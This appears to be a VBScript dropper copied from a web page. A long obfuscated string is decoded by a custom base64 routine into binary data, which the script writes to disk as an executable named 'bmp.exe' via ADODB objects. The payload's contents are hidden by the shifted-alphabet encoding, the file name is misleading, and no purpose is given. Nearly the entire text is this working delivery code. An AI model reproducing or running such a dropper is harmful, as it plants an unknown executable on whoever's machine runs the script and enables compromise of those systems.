| bs=_ |
| "NpFkAMAAAAABAAAA//PAAgLAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYDAAA4wH66AA0mQzhgbAM1cIUhWazBCcy92ZyFWbgMWYu52b0BiYlBic15GIp5GIE90Ug02bkVmLN0gCkAAAAAAAAAwz"+_ |
| "nhQjLagZevoBm59iGYm3pnRde3oBm5N5Zwm3AagZejgGo5tiGYm3knhYejoBm59iGcm3TagZe3LIt5tiGYm3Sl2YotoBm5NAAAAAAAAAAAAAAAAAAAAAQVEAAwUADAwBBcXTAAAAAAAAAAA4A8QALEgBAAAEAAAAQAAAAAEAAA6U"+_ |
| "AAAAQBAAAAGAAAAAABAAQAAAAIAAAQAAAAAAAAAAEAAAAAAAAAAAwBAAAABAAAAAAAwAAAAAAAAEAAAEAAAAAABAAABAAAAAAAAEAAAAAAAAAAAAAAAAgBAA0EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQVQhFMAAAAAAAQAAAAQAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4VBFWxAAAAAAAQAAA"+_ |
| "AAFAAAgBAAAAEAAAAAAAAAAAAAAAAAAAABAAgXFUYJDAAAAAAABAAAAYAAAACAAAAoAAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz4CM0AQVQhVINkgAIM9fd/GzP+w++KDAA45AAAAAOAAAmAAALo8///fVLy+g"+_ |
| "sTxg9hQA0BDaQADQAsYRMsISEEF6Ak8y3/dGEjQhATHGohxFVJEBQt7yn5XdSgGHQYOBpfw3oZ/9bvLbR8fFUASBJWE+oh3NNhfUR42zx2MEjCJHQCD7PxuU922GZnCY0nHI9oWAmlndH+napwFIwT/0sdbkEwvHwDlU8DAW7f2W"+_ |
| "oZDz1UF/ShGLBQEB/mtbtrGZBgC9QRCCzA8il31w7dmN3z8/lQFDFwU9q9PaoFkw77u9wIBBkFKvAAFZJWyBP8mtt/PITZ1VJWG6DWG/KFARQl1gNQa3sd2e+aAqUwyiNA67Ijs9MjQDowZokwQf3fCbuzaHCMyg9woCAUHDoRy2"+_ |
| "93Zzs9EIZ4AaMgBaIgi1OCbB5g5GY3oA76a2u5eNUyQCgD1AUTezTXQ++CDsEIDA6xDtvst7NBeh1BuAUTO6n4Pob41ttIJMJxNNE9xbIsYbr9f/JkYTQDVU2IQWZN8igvC0f02bsRISVAUBcA2HDgFMfFOBHliMANsZktgV+AQK"+_ |
| "0gzcQEQZA8PCoMgfmHBQAofE38RRhl4Ct0Ca//lylXGbw9yPg8M1K7rz72MvOTMv/////7PIh6rsirM1waeo/qgCgM9w3i6o6CysMDt8DvPIy6syfY/+d3PIVUr2SvLu23gzqeTtEL8/wlv936rtKw1alJnbzIz0HVGdD9GKkH+/"+_ |
| "uN3bsV2Vp5GZvdH7BAEQIM6booCQgIRJoEs5YCBE7Bp9/x+/QJ3bjFEZkJXZzN3DN9GZ1xWZIFmbkVgf7Tz2BpSpAMVZPMGdPJmaL//2mXQDD9SY0V2Qv1GchRXaiR0PNb/tDNhQpRnQsRnMvyxXp5G3td3aSUictpwXzpVdztQ/"+_ |
| "tb22vgWEyFGZqBBdfZGZpZ3gttt9fAnAj5Ub9VWDmtv1aH2CnlTNKFmcnNnNzs9W+WGejVGcoBKSzYTHLYvduRHxsZGc4YXZuZN32tfVYNmKGlGllBHOVArd7F7PGgncjt7ldb3bbpIc2QXew1GcyxDdmZttPN7w6yFTvdaS+NYO"+_ |
| "G5iwB1x59AVRb/Hy/xUADAwBBcXTgDwDBsQAGwABffdn1YwE2PEADASDA9m9md2CCICAHoBbyXbZMU1KQcALvM6lGYLdgQGIpbAhXh2FsdXYuoEe0dAPCA5s2W4TZTgQg5ickheYnAb3CZQeggg8A100sNrLmcCAwIADwX+NlA8G"+_ |
| "AFiQxAAAAAAAAAAAIBw/AAAY+CAUABQj+CAw///VD28/rDBkQCJkQCpiGYEiHcUAbX3BL6xguzfEbLX74GAAAAQAbX3BL6xguzfEbHBwBs9cvXXCL6xguzfEbPH5xk8goPgcNEM4IooBGNI8/THdJWcAbX3BL6xguzfEbHRyBsdd"+_ |
| "HsoHD6O/RsdEJXHIBFw21dwieMo78Hx2RkcAbP371lwieMo78Hx2zR+gBLQg9Dw8///gRHQjU8yg9zvdPooACh4BHlUd3n+Y////QuoADKMBJewgHTwgpTwdxHwzpz0///vXJefuKAAAAo4BHxC68Ewd3D4PAUn8LegifRgZBjOC"+_ |
| "BDMEGScK4D46oHA8JewgHXAiYLe2N6LAwAAALeQCATHPL+FBNSIMAAFAAEw8QN4xI8vlkBFAAUpiHcECATH3Jm/VIJvrV9vloBFAAkAw0dQiDM4wEse4/bJeQBAAL6KbQBAAN6LAw///7CAEAAAUUpGBTd1/V34h3HAAAAII/BIY"+_ |
| "o8HWQRFUTd1/VjVYNSEJAqGA5Qcd6PI7Amux7+//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgJYAAAZgBAA"+_ |
| "AAAAAAAAAAAAAAAAlCGAAAIYAAAAAAAAAAAAAAAAAAwrgBAAICGAAAAAAAAAAAAAAAAAAoLYAAAkgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxgBAASDGAAIOYAAg8gBAAAEGAA4QYAAAAAAAAcEGAAAAAAAAJhBAAAAAAAoSYAAAA"+_ |
| "AAAALVkUOVETzIjLExETAcERJNjMuQGbsBQTTZ1QSRlLkxGbAU1UFJ1My4CZsxGAAw0bhRGTpJmchJXeBBAAHVGdQJ3bjFEZkJXZzNHAAYVayRXdhxGUy9GdlNGdAAgVpJHd1FGbBxGbvNGAAYVayRXdhxmRyVWZAAAAFhXa0Blc"+_ |
| "vNWZzNHAAAgQpRnQsRHAAUGepRHAAcUZ0R0QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_ |
| "":set rs=CreateObject("ADODB.Recordset") |
| set ado=CreateObject("ADODB.Stream") |
| l=len(bs):ss="":for k=1 to l step 4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss) |
| rs.fields.append "b",205,l/2:rs.open:rs.addnew:rs("b")=ss+chrb(0):rs.update |
| ado.mode=3:ado.type=1:ado.open:ado.write rs("b").getchunk(l/2) |
| ado.savetofile "bmp.exe",2:ado.close |
| function ub64(s):dim t(4),b(3):ub64="":n=len(s):r=2 |
| if n mod 4<>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3 |
| a=asc(mid(s,i+j,1)):if a=43 then:a=62:else if a=47 then:a=63:else if a>47 and a<58 then:_ |
| a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a>64 and a<91 then:_ |
| a=a-65:else if a>96 and a<123 then:a=a-71:else:exit function:_ |
| end if:end if:end if:end if:end if:end if:t(j)=a:next |
| b(0)=t(0)+t(1)*64 mod 256:b(1)=t(1)\4+t(2)*16 mod 256:b(2)=t(2)\16+t(3)*4 |
| for j=0 to r:if b(j)<16 then ub64=ub64+"0":end if:ub64=ub64+hex(b(j)) |
| next:next:end functionCOPY |